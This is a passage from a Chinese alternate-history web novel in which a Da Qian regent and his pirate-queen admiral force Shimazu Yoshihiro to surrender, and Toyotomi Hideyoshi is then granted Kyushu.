她转过身款款走回林臻身边,极为自然地挽住他的臂弯,姿态亲昵带着不加掩饰的占有。 她用这个动作向殿内所有人宣告。 无论她变得多么冷酷,多么威严,在这个男人面前她永远是那个需要他宠溺的女人。 林臻笑着捏了捏她的手,目光随之转向一旁那位始终沉默挺立的年轻将军。 “岳飞。” “末将在!”岳飞声如金石,抱拳躬身。 “羽柴秀吉是主帅,但那十万仆从军人心叵测。” 林臻的声音平静无波,却带着天然的上位者威压。 “本王命你为监军,节制全军。” “那一百门红衣大炮,一千神机营精锐,皆由你全权指挥。” 他的声音顿了顿,变得冷冽。 “给本王,看好这条‘猴子’。” “他若有任何异心,不必请示。” “就地格杀!” “末将……遵命!” 岳飞的呼吸微微一滞,垂下的眼帘遮住了瞳孔中一闪而过的锋芒。 王爷给的不是监军之职,而是生杀大权! 这支大军真正的缰绳,握在他的手里。 他的视线不着痕迹地扫过远处那个仍在叩谢天恩的羽柴秀吉,心中了然。 接下来的任务,不只是征伐。 更是与这群倭国降将的,一场无声的博弈。 林臻的目光,又落在了那位风情万种的金发提督身上。 “伊丽莎白。” “王爷殿下,您最忠诚的仆人在此聆听您的吩咐。”伊丽莎白优雅地提裙行礼,那双湛蓝的眼眸里,跃动着期待的光。 “你的舰队,封锁九州海域。”林臻的语气淡漠。 “本王不希望,有一条属于岛津家的舢板,能从海上溜走。” “另外”他话锋一转,唇角勾起一抹饶有兴致的弧度,“本王听说九州岛上除了萨摩隼人,还有不少靠着刀口舔血为生的海盗?” “是的,王爷殿下。”伊丽莎白点头“一群桀骜不驯的鬣狗,连织田信长都对他们束手无策。” “很好。”林臻的笑意更深了。 “本王就喜欢和这些不守规矩的聪明人打交道。” “你替本王,给他们带一句话。” “大乾摄政王,想跟他们做一笔生意。” “只要他们愿意帮本王,清理掉岛津家的水师。” “那么,从今往后,整个倭国的所有航线,都将对他们开放。” 林臻的声音带着一种魔鬼般的诱惑。 “他们甚至可以,挂上我大乾的龙凤战旗,成为皇家海军的……编外私掠舰队。” “什么?!” 伊丽莎白那双美丽的蓝眼睛里,第一次出现了真正的震惊! 将一群连国家都不承认的海盗,直接“官方认证”? 还要让他们成为皇家海军的编外力量? 这……这简直是闻所未闻的疯狂之举! 然而,短暂的惊愕之后,一股战栗般的兴奋感从她的脊椎窜上头顶! 她血液里属于海盗女王的冒险与贪婪,被彻底点燃了! 她明白了! 这位东方王爷,根本不是在下一盘棋! 他是在掀翻整个棋盘,用最粗暴、最直接的方式,将整个倭国的海上力量,无论是官方还是地下的,全部攥进自己的掌心! “王爷殿下……您……” 伊丽莎白看着林臻,那双蓝眸中爆发出近乎狂热的崇拜光芒。 “您真是个不折不扣的魔鬼!” 她现在无比确信,自己这辈子最正确的决定就是向眼前这个,比历史上任何一位海盗王都更疯狂、更迷人的男人献上自己的忠诚。 …… 随着林臻与慕容嫣的一道道命令下达。 整个倭国,这部刚刚被强行拼凑起来的战争机器,再次以一种病态而高效的速度疯狂运转。 羽柴秀吉,这位被“火线提拔”的草根枭雄,在得到梦寐以求的兵权后,爆发出了惊人的能量。 他只用了三天,就将那支成分复杂、人心各异的十万仆从军,整编得井然有序。 军营之中,日夜操练之声不绝于耳,肃杀之气冲天而起。 虽然这背后,有岳飞和他麾下那一千神机营士卒冰冷的枪口在时刻监视。 但所有人都不得不承认,这只“猴子”,在统兵御下方面,确有其惊人之处。 而那些在茶会上争得面红耳赤的地方大名们,回到领地后也陷入了新一轮的疯狂。 他们的城池里,铁匠铺的炉火昼夜不熄,打造着刀枪与甲胄。 他们的领地上,一批批青壮被征召入伍,告别家人汇入通往安土城的洪流。 金钱、粮草、军械,如同百川归海,源源不断地输送至大乾的战争中枢。 他们只有一个目的。 用最实际的行动,向那位高高在上的新主子,证明自己的价值。 他们要让王爷和陛下看到,他们远比那只靠着花言巧语上位的“猴子”,更有用! 这种赤裸裸的内卷,让整个倭国的战争潜力被压榨到了极限。 一时间,整个国度都陷入了一种“全民备战”的狂热。 第1264章 只为换一根骨头 而作为这一切的始作俑者。 林臻和慕容嫣,却像两个置身事外的看客。 回到了那艘通体漆黑的“黑珍珠号”上。 海风带着咸湿的气息拂过甲板,吹动着慕容嫣的发丝。 她慵懒地靠在林臻怀里,看着远处安土城那辉煌的灯火,以及更远处那片被战争阴云笼罩的土地。 “你说,那只猴子会不会真的以为自己是天命所归了?”她轻声问道,声音里带着几分玩味。 “会不会不重要。” 林臻为她拢了拢披风,目光深邃如夜。 “重要的是,他得先变成一条,能咬碎岛津家这块硬骨头的疯狗。” “至于他之后想变成龙,还是继续当狗,那就要看他自己的造化,和我们的心情了。” 慕容嫣笑了,将头埋进他的胸膛,享受着这暴风雨来临前,独属于他们二人的宁静。 九州岛,萨摩国,内城。 议事大厅内,死寂像铅一样沉重,压得人喘不过气。 被誉为“鬼岛津”的战争狂人,岛津义弘面色阴沉如暴雨前的天空,独自端坐主位。 他的视线,是一柄无鞘的刀,缓缓扫过阶下。 那里,跪着一排排家族重臣,每一个都像被霜打过的茄子,脑袋垂得恨不能钻进地缝里。 许久。 岛津义弘终于开口,声音沙哑得像是从生锈的铁管中挤出。 “都说说吧。” “天朝王爷的那道‘九州征伐令’,你们,怎么看?” 无人应答。 空气里,只剩下众人极力压抑,却依旧粗重不堪的呼吸声。 看? 他们能怎么看? 用眼睛看,看到的是尸山血海,用心去看,看到的只有两个字——绝望! 那个曾经不可一世的织田信长,死了。 他那座号称天下布武的安土城,也破了。 整个西国和近畿地区的大名,像一群被踹了窝的野狗,争先恐后地扑到新主子脚下,摇尾乞怜只为换一根骨头。 现在,那位高高在上的天朝王爷,整合了十万仆从军,还给那支军队配上了传说中能移山填海的天朝神机营,以及遮蔽了整片海面的无敌舰队。 兵分水陆两路,杀气腾腾直扑九州! 这仗,拿什么去打? 用萨摩武士最引以为傲的血肉之躯,去填平那些黑洞洞的炮口吗? 这根本就不是战争,而是一场早已注定了结局的屠杀! 就在这令人窒息的沉默中,一个年轻气盛的声音带着不甘的颤抖,打破了死寂。 “主公!没什么好怕的!” 说话的是岛津义弘的侄子,岛津丰久,他抬起通红的眼睛,梗着脖子吼道:“我萨摩武士,只有战死的鬼,没有投降的懦夫!大不了就是一死!让他们见识见识,什么才是真正的九州男儿!” “住口!丰久大人!” 话音未落,一名须发皆白的老臣便厉声打断了他,正是家族的笔头家老,伊集院忠栋。 他连滚带爬地跪到大厅中央,老泪纵横。 “主公!非是我等怯战啊!” “丰久大人说的是武士的荣耀!可荣耀,填不饱肚子也挡不住炮弹!” 老臣的声音带着哭腔,充满了无尽的悲凉与颤抖。 “那羽柴秀吉不过是个出身卑贱的猴子,可他现在手里握着十万大军!十万啊!” “更别提,为他撑腰的,是那些鬼神般的天朝军,是那支能把大海都染黑的舰队!” “我萨摩数万精锐个个以一当十,可我们能以一当百吗?!” 伊集院忠栋重重叩首,额头磕在冰冷的地面上,发出沉闷的“咚”声。 “主公!为了岛津家数百年基业,为了这城中数万将士的性命,也为了您的血脉不至于断绝!” 他抬起头,那张布满皱纹的脸上,满是哀求。 “降了吧!” “我们……降了吧……” 这三个字,像三根淬了寒冰的毒针,扎进了岛津义弘的心脏。 降? 他岛津义弘,一生纵横沙场,脚下尸骨成山,刀下亡魂无数,“鬼岛津”之名能令小儿止啼。 他的字典里,何曾有过这个字? 宁可站着死! 也绝不跪着生! 可理智却像一条冰冷的毒蛇,缠住了他的脖颈,在他耳边嘶嘶低语,老臣说的,都是事实。 顽抗,就是拉着整个萨摩,陪着他那可笑的尊严,一起化为灰烬。 一股前所未有的巨大无力感,瞬间抽空了他全身的力气。 他握着刀柄的手青筋暴起,却感觉那把追随自己半生的名刀“村正”,此刻重若千钧。 难道……岛津家数百年的荣耀与传承,真的就要断送在自己手里了吗? 他缓缓闭上眼,那张向来写满霸道与疯狂的脸,第一次浮现出死灰般的败色。 大厅内,年轻武士的愤懑,老臣们的悲戚,交织成一片绝望的交响。 所有人都认定,岛津家完了。 就在这万念俱灰的时刻,一个惊惶到变调的呐喊,如同一道惊雷,撕裂了殿内的死寂! “报——!” 一名负责港口守卫的武士,连滚带爬地冲进大殿,他身上的铠甲歪歪斜斜,脸上没有一丝血色,神情惊恐到了极点! “启禀主公!不好了!” “港……港口之外……发现一支……一支不明身份的西夷舰队!” 武士的声音都在哆嗦。 “规模……极其庞大!正……正在向我们驶来!” “什么?!” 一瞬间,大厅内所有人都僵住了,仿佛被一股无形的力量扼住了喉咙。 西夷舰队? 在这个节骨眼上? 他们是谁?是那支传说中早已覆灭的东印度公司的残党,来为他们那位被凌迟的亲王寻仇?还是另一伙嗅到血腥味的鲨鱼,想来分一杯羹? 无数的疑问与恐惧,像潮水般涌上心头,让这群早已不堪重负的家臣们,感觉自己的心脏下一秒就要爆开。 而岛津义弘,在听到这个消息的刹那,猛地睁开了双眼! 那双本已黯淡无光的眸子里,骤然爆出一道骇人至极的精光! 是毒药? 还是解药? 不管是什么,这都是一个变数! 是这盘死局之中,唯一不属于天朝王爷掌控的棋子! 是他这个溺水之人,能抓住的最后一根稻草!哪怕这根稻草,本身就是一条毒蛇! “带我去看!” 他一把推开挡在身前的家臣,再也顾不上什么家督的威严与体面,提着那把“村正”就向外冲去。 他像一头受伤后被彻底激怒的猛虎,用尽全身的力气,向着决定家族命运的萨摩湾港口狂奔! 当岛津义弘气喘吁吁地登上港口最高的瞭望塔,扶着冰冷的石栏向远处望去时,他被眼前的景象,震撼得忘记了呼吸。 数海里之外。 那片蔚蓝的海面上,一支由数十艘庞大战船组成的黑色舰队,正无声无息地逼近。 那些战船通体漆黑,船身线条流畅而诡异,充满了非人的、邪恶的力量感,仿佛不是人间工匠的造物,而是从深海地狱中驶出的幽灵。 它们像一片移动的钢铁森林,将死亡的阴影,缓慢而坚定地投向这片海岸。 每一艘战船的侧舷,都密密麻麻地排列着数层黑洞洞的炮口,那数量比他见过的任何西夷炮船都要多,多到令人头皮发麻! 舰队中央,一艘堪称海上怪物的超级旗舰,其庞大的体型,让周围的战船都显得渺小。 它的主桅杆高耸入云,如同一根刺向天空的黑色长矛。 一面巨大的黑色旗帜,在充满了咸湿气息的海风中,缓缓展开,猎猎招展。 旗帜之上,一个巨大的、狰狞的白色骷髅头下,交叉着两把闪烁着血光的弯刀! 那不是任何一个国家的旗帜! 那是一个符号!一个代表着掠夺、死亡与绝对自由的符号! 那是一种无法无天的嚣张,是在向整个世界宣告—— 这片大海上,真正的无冕之王。 来了! 第1265章 只会摇尾乞怜的文明人 岛津义弘死盯着远方那支散发着浓烈死亡气息的黑色舰队,那颗沉入深渊的心脏,竟在此刻重新狂跳起来。 他不认得那面嚣张的骷髅旗。 但他能嗅到,从那支舰队散发出的那种无法无天、纯粹的邪恶与混乱,与他自己灵魂深处的疯狂同出一源! 他瞬间断定,这不是敌人。 这是同类! 是一群和他一样不信神佛,不敬王法,只信手中刀剑的亡命之徒! “备船!” 他猛然回头,冲着身后吓得面如土色的港口守备官,发出不容置喙的怒吼! “本家要去会会这位远道而来的‘朋友’!” …… “黑珍珠号”的船长室内。 伊丽莎白独自安坐在鲸骨雕成的华丽座椅上,指间摇晃着一杯果香四溢的朗姆酒。 她那双湛蓝的眼眸透过巨大水晶舷窗,兴致盎然地打量着远处那座在倭国历史上颇有名气的萨摩港口。 “提督大人”一名独眼的海盗大副站在她身侧,看着港口乱成一锅粥的景象迟疑问到,“我们真要跟这帮茹毛饮血的倭人合作?听说他们连自己人都吃。” 伊丽莎白听完,喉间发出一阵病态而愉悦的轻笑。 “吃人的野人?” 她嘴角勾起一道野性十足的弧度,眼神里满是玩味。 “我喜欢。” “只有跟这种毫无底线、毫无信誉的疯狗打交道,才最有意思不是么?” “你永远猜不到他何时会从背后捅你一刀。” “这种随时可能把命玩进去的刺激,可比跟那些只会摇尾乞怜的所谓‘文明人’过招有趣多了。” 说着,她将杯中烈酒一饮而尽,蓝色的瞳孔里闪烁着女赌徒般的疯狂与嗜血! 她很清楚,林臻那个比魔鬼更可怕的男人,将“招安”这群海上鬣狗的任务交给她,正是看中了她骨子里那与生俱来的混乱与邪恶。 唯有她,这位同样从尸山血海中爬出的海盗女王,才能镇住这群亡命徒。 也唯有她,能将这群桀骜的野狗,变成王爷手中最锋利、最听话的黑刃! “提督大人!” 瞭望手兴奋地冲了进来! “港口有船出来了!挂着岛津家的家徽,而且是白旗!” “哦?” 伊丽莎白美艳的脸上浮现出一丝意料之中的笑容。 “看来,这位传说中的‘鬼岛津’,并非只会打杀的蠢货。” “他还懂得,在惹不起的客人面前该摆出什么姿态。” 她缓缓起身,慵懒的声线里透着女王的霸气。 “传令,让我们的‘朋友’上来。” “我倒要看看,这位让织田信长都头疼的九州狂犬,究竟是何等三头六臂的模样。” 很快,一艘挂着白旗的小小关船,在“黑珍珠号”数十门黑洞洞的三十六磅舰载重炮的无声“凝视”下,战战兢兢地靠了过来。 当岛津义弘的草鞋踏上“黑珍珠号”那通体漆黑的甲板时,一种源自灵魂的战栗让他握紧了刀柄。 脚下的甲板坚硬如铁,散发着浓重的焦油与海水混合的气息。 空气中,弥漫着一股血腥与朗姆酒交织的独特味道。 甲板上,那些赤着上身、满是伤疤与纹身的异族海盗,用一种看待牲口般的眼神打量着他和他的随从。他们的目光里没有敬畏,只有赤裸裸的贪婪与评估,仿佛在计算将他们剁碎了能卖几个钱。 岛津义弘身后的几名武士已经紧张到手心冒汗,腿肚子都在发软。 他自己又何尝不是? 他感觉自己不是登上了一艘船,而是闯进了一头远古巨兽的喉咙。 那数十门比他人还粗的炮口,像是巨兽的獠牙,只要一动,就能将他的萨摩水师连同港口一起撕成碎片。 在一名高大独眼海盗的“邀请”下,岛津义弘穿过阴森的船舱走向船长室。 每一步,都像是踩在自己尊严的碎片上。 当那扇雕刻着海妖与骷髅的沉重木门被推开时,一股混合着昂贵香料与烈酒的暖风扑面而来。 他,看到了那个女人。 那间比他自己的天守阁主殿还要奢华气派的船长室里,一个金发碧眼的异国女人,正慵懒地坐在主位上。 她就那样静静地坐着,却仿佛是这片海洋,乃至整个世界风暴的中心。 那一瞬间,岛津义弘那颗填满了疯狂与杀戮的枭雄之心,遭受了前所未有的重击! 他没有恋爱。 他只是,一个渺小的信徒,终于亲眼见到了自己所崇拜的,那代表着“终极疯狂与力量”的神! 他不可救药地,被眼前这个明明看似柔弱无骨,但君临天下的气场却比他强横百倍的绝世妖物,彻底夺走了心神! 他半生征伐自诩为鬼,可在这个女人面前,他感觉自己不过是地狱门口一个不入流的小卒。 “你,就是岛津义弘?” 伊丽莎白开口了,她的声音带着一丝奇特的磁性,每一个音节都像羽毛般搔刮着人的心脏。 她看着眼前这个身材不高,但杀气却凝如实质的独眼男人,蓝眸中也闪过一丝欣赏。 这个倭国男人,和他见过的那些软骨头不一样。 他的眼神里没有恐惧谄媚,只有属于真正战士的骄傲与战意,以及一种……被压抑到极致的,对更强力量的渴望。 “在下岛津义弘。” 岛津义弘强行压下心中的惊涛骇浪,不卑不亢地行了一个标准的武士礼,手却始终没有离开腰间的“村正”。 “不知这位……尊贵的女王陛下,如何称呼?” 他本想称呼“小姐”,但话到嘴边却本能地改成了“女王”。 因为他觉得除此之外,任何词汇都是对她的亵渎。 “女王?” 伊丽莎白笑了,她的笑声清脆而放肆,在奢华的船长室里回荡,让墙壁上悬挂的弯刀都发出轻微的嗡鸣。 “这个称呼,我喜欢。” 她缓缓起身,赤着雪白的美足,一步步走下台阶。 每一步,都像是踩在岛津义弘的心跳上。 空气中那股馥郁的香气随着她的靠近而愈发浓烈,那是一种混合了玫瑰、烈酒与硝烟的,独属于她的味道。 她走到岛津义弘面前,身高竟与他相差无几。 她没有说话,只是用那双深邃如海的蓝色眼眸静静地注视着他。 岛津义弘感觉自己像是被一条深海巨蟒给盯住了,从灵魂到肉体,都被看得通透,一切秘密都无所遁形。 他额头渗出冷汗,握刀的手青筋暴起,这是他面对千军万马也未曾有过的巨大压力。 “他们叫你‘鬼岛津’。” 伊丽莎白终于再次开口,声音里带着一丝玩味。 “一只让整个九州都为之颤抖的恶鬼。” “可是在我看来……” 她伸出那只涂着鲜红蔻丹的纤长手指,动作轻佻却带着不容抗拒的威严,勾起了他的下巴强迫他抬起头。 指尖冰凉的触感,让岛津义弘浑身一颤。 他看到了那双近在咫尺的蓝眼睛,里面没有半分情感,只有俯瞰众生的漠然与戏谑。 “你,不过是一条迷了路,又饿着肚子的……野狗。” 第1266章 鬼岛津 这句话字字如锥,扎进岛津义弘的骨髓。 他这辈子饮血无数,人称“鬼岛津”。 可从未有人敢当着他的面,说他是条狗。 拔刀! 这个念头在他脑中炸响。 腰间的“村正”疯狂嗡鸣,渴望用这个女人的鲜血,洗刷主人所受的奇耻大辱。 但他不敢动。 一丝一毫都不敢。 他的独眼里,只剩下一片绝望的倒影——那些比城门更粗的漆黑炮口,如同地狱巨兽的獠牙正无声地对着他的国家。 他毫不怀疑,刀出鞘一寸他连同整个萨摩港,就会从这个世界上被彻底抹去连一粒尘埃都留不下。 这种命运被他人扼住咽喉,生死皆不由己的无力感,比凌迟更让他痛苦万分! 伊丽莎白欣赏着他那因极致愤怒与屈辱而扭曲的脸,嘴角的笑意愈发妖冶。 她最享受的就是将这些所谓的乱世枭雄,一层层剥去他们引以为傲的伪装,看他们在自己面前显露出最原始、最狼狈的恐惧。 这种快感,远胜于攻陷十座城池。 “不服气?” 她松开手指,转而用那涂着猩红蔻丹的指尖,在他粗砺的脸颊上缓缓划过。 动作极尽挑逗,眼神却冷如万年冰海。 “你们倭国的男人,都这么可笑么?” “死到临头,还抱着那点一文不值的尊严。” 她转身赤足踩在冰凉的甲板上,一步步走回那张鲸骨雕成的王座,再次慵懒地坐下重新成为风暴的中心。 “岛津义弘,我来这里不是听你废话的。” 她的声音恢复了女王的冷漠与威严。 “给你两个选择。” “一,带着你的萨摩武士为你那可笑的武士道,与我主君的仆从军血战到底。然后连同你的城池、你的子民、你的一切,被从这片土地上干净、彻底地抹除。” “二,”她嘴角勾起魔鬼的弧度湛蓝的眼眸里是能吞噬灵魂的诱惑,“向我身后那位伟大的东方君主献上你的忠诚。” “成为他麾下另一条更凶、更狠、也更听话的疯狗。” “去代替那只没用的猴子,咬碎所有还敢站着的蠢货。” “届时,整个九州都是你的狗窝。” “选。” 一个字,如神明最后的判决。 伊丽莎白说完便不再看他,端起朗姆酒自顾自地浅尝。 仿佛脚下这个男人的生死抉择,不过是餐前的一场无聊戏码。 船长室内死寂无声。 岛津义弘僵在原地。 他的脑子里两个声音在疯狂撕咬。 一个声音在咆哮:拔刀!为了武士的荣耀,战至最后一滴血! 另一个声音在低语:荣耀算什么?尊严值几钱?活着拥有一切!死了化为尘土! 他想到了襁褓中的幼子,想到了岛津家数百年的基业,想到了那些愿意为他献出生命的忠诚武士…… 难道,真要为了他一个人的尊严,让这一切都化为灰烬? 不! 不能! “噗通!” 沉闷的叩地声响起。 这位让整个九州闻风丧胆的“鬼岛津”,终于弯下了他从未屈服过的膝盖。 他那颗高傲的头颅,重重地磕进了这片散发着焦油与血腥味的甲板。 “我……岛津义弘……” 他的声音艰涩沙哑,每一个字都像是从喉咙深处碾碎了尊严才挤出来的。 “愿为……那位伟大的东方君主……” “效犬马之劳!” 伊丽莎白俯瞰着脚下那颗终于低下的头颅,脸上是胜利者才配拥有的笑容。 她知道,林臻交给她的任务完成了。 从这一刻起,九州这块最硬的骨头姓“乾”。 …… 信鸽划破长空,消息传回了安土城外的旗舰。 船长室内,林臻手持一把小巧的银剪,正在修剪一盆从江南运来的兰草。 只因慕容嫣喜欢这抹淡雅的幽香。 慕容嫣斜倚在软榻上,身上那件玄黑苏锦织就的神凤降世裙,金线绣成的巨凤在阳光下流光溢彩华贵慵懒。 长达五丈的墨金色拖尾,如一条沉睡的河流铺满了整个地面。 她静静看着夫君专注的侧脸内心安宁。 “陛下,王爷。” 鬼影无声无息地出现在门口单膝跪地。 “伊丽莎白提督来讯,岛津义弘已降。” “嗯。” 林臻头也未抬,剪去最后一截多余的叶片,仿佛听到的只是今日风和日丽。 慕容嫣抬起美眸,凤目中漾起一丝笑意。 “夫君当真放心?一个海盗头子,一个战争疯子,就不怕他们凑在一起反咬一口?” “怕什么?” 林臻放下银剪走到她身边坐下,将她揽入怀笑了。 “我从不怀疑他们的野心和疯狂,但这两样东西都需要一样东西来支撑。” “力量。” 他的声音很轻,却带着洞穿一切的自信。 “在‘黑珍珠号’那三十六门灭国重炮面前,在可以瞬间将他们碾成齑粉的绝对力量面前,任何野心都是笑话任何疯狂都是愚蠢。伊丽莎白懂现在那个鬼岛津也该懂了。” 慕容嫣将头靠在他肩上,嗅着那让她心安的气息轻轻“嗯”了一声。 是的,这个世界上最能让人清醒的,永远是实力。 “倭国大局已定,我们该回去了吧?我想念长安的烟火气了。” “回去?”林臻笑着反问,“为何要回去?” 慕容嫣一怔:“倭国事了,石见银山已是囊中之物,仆从军也已成型,我们还留在这里做什么?” “傻丫头。”林臻轻刮她的鼻尖,“你忘了我们此行的真正目的?” “真正目的?” “倭国从来都只是开胃小菜。” 林臻的目光,落在墙上那副巨大的世界堪舆图上,眼中燃起吞天噬地的火焰。 他的手指,划过大乾的疆域越过东海掠过南洋,最终重重落在那片扼守东西方世界的咽喉之地。 “我们真正的敌人,那些靠贩卖战争与掠夺,建立起所谓‘日不落’霸权的西方鬣狗,还活得好好的。” 他的声音骤然冰冷。 “尤其是那家东印度公司,一直在背后给朕下绊子,妄图掌控整个东方的贸易命脉。” “这颗毒瘤不除,我大乾永无宁日!” 慕容嫣顺着他的手指看去,那双绝美的凤眸里,同样燃起滔天战意。 东印度公司! 虎门海战的血仇,觊觎大乾海岸线的贪婪,一幕幕涌上心头。 “夫君的意思是……我们下一步,便要去对付他们?” “不是对付。” 林臻摇头,嘴角勾起一抹冰冷的弧度。 “是去……拜访。” “拜访?” “没错。”林臻的眼中闪动着狐狸般的光芒,“本王听说他们的总督,在南洋建了一座‘东方第一堡’,比嫣儿的皇宫还奢华。” “本王就是想去亲眼看看。” “那座城堡,到底有多坚固。” “顺便跟那位总督大人谈一笔关于这个世界,未来该姓什么的生意。” 第1267章 倭国已定,九州已平 羽柴秀吉觉得自己活在梦里。 一个月前,他还是织田家那个替主君提草鞋的底层武士,脑子里只有一件事:在下一场血战里活下来,多领几个铜板,让家人吃顿饱饭。 现在,他羽柴秀吉成了统领十万大军、征伐九州的总大将。 这场梦荒诞不经。 赐予他这场梦的,是那位降临此世的大乾摄政王,一个真正的神魔。 “传我将令!” 他站在临时搭建的高台上,俯瞰着脚下黑色的钢铁洪流,那片人海望不到尽头。 他发出了人生第一道总大将之令。 他的声音因极度的亢奋而颤抖,却又带着一种前所未有的威严。 “全军出击!” “目标萨摩!” “踏平内城!活捉鬼岛津!” 他拔出腰间的太刀,刀尖直指南方,阳光在刀刃上反射出刺目的寒芒。 “此战为王爷贺!” “此战为大乾贺!” “喔——!” 十万人的咆哮拔地而起,声浪化作实质的冲击波,天空的云层被这股冲天杀气撕开一道道裂口。 大军开拔旌旗如林,铁甲洪流滚滚向前,整个大地都在为之颤抖。 羽柴秀吉骑在马上,胸膛里一颗心脏几乎要炸开。 他已经想好了。 他要用一场最酣畅淋漓的大胜,一场足以载入史册的攻城血战,来向那位高高在上的东方君主证明自己的价值。 他要让王爷看到,他这只“猴子”不仅会爬树,更会咬人! 他要用岛津义弘的头颅,作为自己登上权力巅峰的垫脚石! 然而,他做梦也想不到。 就在他们磨刀霍霍,准备拿九州最硬的骨头来换取功名利禄时。 那位在他们眼中已是待宰羔羊的“鬼岛津”,做出了一个让所有人下巴脱臼的决定。 萨摩湾港口。 羽柴秀吉的先锋大军卷着烟尘抵达。 斥候带回了匪夷所思的情报。 迎接他们的,没有萨摩铁炮队的死亡火网,没有布满陷阱的城防。 只有一座四门大开的空城。 城头上,插满了密密麻麻的白色降旗,在海风中无力地飘摇。 羽柴秀吉不信,他策马冲到阵前,亲眼看到了那让他毕生难忘的一幕。 城门外,一个男人剃光了头发,穿着一身刺眼的白色囚服,独自跪在那里额头紧贴着冰冷的土地。 前九州霸主。 岛津义弘。 他降了。 用一种最彻底也最屈辱的方式,向那位他从未谋面的东方君主,献上了头颅与忠诚。 消息如瘟疫般在仆从军中炸开。 所有人都傻了。 他们一路行来,设想了无数种血战的可能,唯独没有想到这一种。 这场预想中血流成河的旷世大战,竟以一种近乎滑稽的方式收场了。 羽柴秀吉胸口一闷,一口老血差点喷出。 他感觉自己蓄满了全身力气的一拳,重重地打在了一团棉花上。 空落,憋闷,荒谬! 他整编军队,不眠不休地制定作战方案,就是要在九州征伐战中打出自己的威风,向那位天朝王爷证明自己的价值。 现在倒好。 他连敌人的刀都没碰到,对方直接跪了! 这仗还怎么打? 功劳从何而来? “八嘎!岛津义弘你这个懦夫!胆小鬼!” 他勒住战马,气急败坏地破口大骂。 跪在地上的岛津义弘,纹丝不动仿佛一尊石像。 辱骂?那是什么东西? 他只是静静跪着,那张布满疯狂与暴戾的脸,此刻只剩下一片死寂的平静。 他输了。 从踏上那艘地狱魔舰“黑珍珠号”的那一刻,他就输了。 从见到那个比海妖更美艳、比魔鬼更可怕的金发女王时,他就输得一干二净。 在那种足以颠覆世界的力量面前,他引以为傲的武士道,他悍不畏死的名声都成了笑话。 一个不好笑的笑话。 他现在只想活下去。 哪怕像一条狗。 卑微地活下去。 …… 九州的战事,以谁也无法预料的速度落幕。 羽柴秀吉,这位被林臻亲手推上舞台的“猴子”,没能打响他梦寐以求的成名之战。 但“兵不血刃,一统九州”的功劳,依旧像一件华丽的外袍,披在了他的身上。 这巨大的功绩,让他在倭国新秩序中的声望,冲到了顶峰。 他羽柴秀吉,终于一步登天。 成了这片土地上,仅次于明智光秀的二号人物。 随着九州平定,整个倭国被彻彻底底地纳入大乾帝国的版图。 石见银山,那座流淌着财富的巨大宝藏,开始为大乾国库输送着足以发动一场世界战争的白银。 而那些被整编为“仆从军”的倭国武士,在岳飞和伊丽莎白这两位“魔鬼教官”的操练下,正飞速蜕变。 他们从一群散漫的乌合之众,变成了一支纪律严明、令行禁止的虎狼之师。 所有的一切,都按照林臻写好的剧本,分毫不差地进行着。 倭国这头东海恶龙,被拔了爪敲碎了脊梁。 成了一条只会摇尾乞怜的看门狗。 现在,该去收拾那头盘踞南洋,对东方沃土垂涎已久的西方饿狼了。 安土城,天守阁。 一场史无前例的庆功宴。 整个倭国所有叫得上名号的大名,齐聚于此。 他们用最卑微的姿态,向主位上那对神仙眷侣般的东方帝后,献上忠诚与贡品。 金银、珠宝、古董、美人,像流水一样被送进这座象征倭国最高权力的宫殿。 织田信雄献上了家传的“九十九发茄子”茶入,德川家康送来了珍藏的《孙子兵法》古抄本,毛利家更是将整个领地一半的年收入作为贡品奉上。 整个天守阁,弥漫着金钱、欲望和阿谀奉承混合而成的病态气息。 林臻与慕容嫣并肩坐于黄金象牙打造的巨大主位。 慕容嫣慵懒地靠在林臻怀里。 她看着下方那群丑态百出的所谓“倭国精英”,凤眸深处厌恶一闪而逝。 这些男人,前一刻还在为了方寸土地打得你死我活,下一刻就能在更强的力量面前卑微如尘土。 她甚至看到羽柴秀吉和明智光秀站在一起,彼此客气地敬酒,眼底却藏着对对方的轻蔑与杀机。 太无趣了。 “夫君,我有些累了。”她轻声说。 “好。” 林臻点头,从主位上站了起来。 他一动。 整个大厅,瞬间死寂。 喧闹的音乐停了舞女们僵在原地,所有大名像被掐住了脖子,一个个僵在原地,目光惊恐又敬畏地投向高处。 他们不知道这位心思深如瀚海的东方君主,又要做什么。 “诸位。” 林臻的声音却清晰地钻进每个人的耳朵。 “倭国已定,九州已平。” “从今日起,我大乾将在此地颁布新法,推行新政。” “我不管你们以前姓织田姓德川还是姓岛津。” 他顿了顿,目光扫过下方每一张煞白的脸,那眼神平静却又带着不容置疑的绝对意志。 “从今往后,你们都只有一个姓。” “那就是,大乾!” 第1268章 血库和钱袋 林臻的话音落下,大厅内针落可闻。 他没有刻意提高音量,但每一个字都带着不容抗拒的重量,砸进在场所有倭国大名的心里。 抹去“大名”的身份。 从割据一方的土皇帝,变成大乾帝国治下的一名地方官。 屈辱感在胸中翻腾,几乎要灼穿他们的喉咙。 可没人敢动。 更没人敢开口。 他们能清晰地感觉到,那悬于头顶的利剑,又往下沉了一寸。在足以抹平一切的绝对力量面前,反抗只是一个笑话。 “当然,”林臻话锋一转,脸上的威压散去,浮现出一丝笑意,“本王向来赏罚分明。” “真心为大乾效力,本王也绝不吝啬赏赐。” 他的目光穿过人群,精准地落在了羽柴秀吉身上。 “羽柴秀吉。” “微臣在!” 羽柴秀吉一个激灵猛地出列,身体因为极度的亢奋而微微颤抖。 “你兵不血刃平定九州,功劳甚伟。” 林臻看着他,声音平缓却掷地有声。 “本王决定,封你为‘镇西大将军’,赐姓‘丰臣’世袭罔替!” 这几个字,还不算什么。 真正让整个天守阁陷入死寂的,是林臻的下一句话。 “另,将整个九州岛,划为你的封地。” “由你,代我大乾,镇守西陲门户!” 轰! 死寂之后,是无声的爆炸。 德川家康握着酒杯的手指猛然收紧,名贵的瓷器在他掌中化为齑粉,酒水混着鲜血滴落,他却浑然不觉。 织田信雄脸上的谄媚笑容僵住,嘴巴微微张开,像一条缺水的鱼。 所有大名的呼吸都停滞了。 镇西大将军! 赐姓丰臣! 整个九州为封地! 那只出身低贱的猴子……一步登天! 羽柴秀吉,不,丰臣秀吉,直挺挺地跪在那里,整个人都傻了。 那张惯于精明算计的猴脸上,此刻只剩下茫然和巨大的、难以置信的空白。 幸福……来得太猛烈了。 这感觉,就像一个在冰天雪地里快要饿死的乞丐,被神明直接扔进了一座堆满黄金与食物的温暖宫殿。 “微臣……丰臣秀吉……” 他猛地惊醒,用尽全身力气将头颅砸向地面,发出沉闷的巨响。 他嘶吼着,声音因狂喜与感激而彻底扭曲变形。 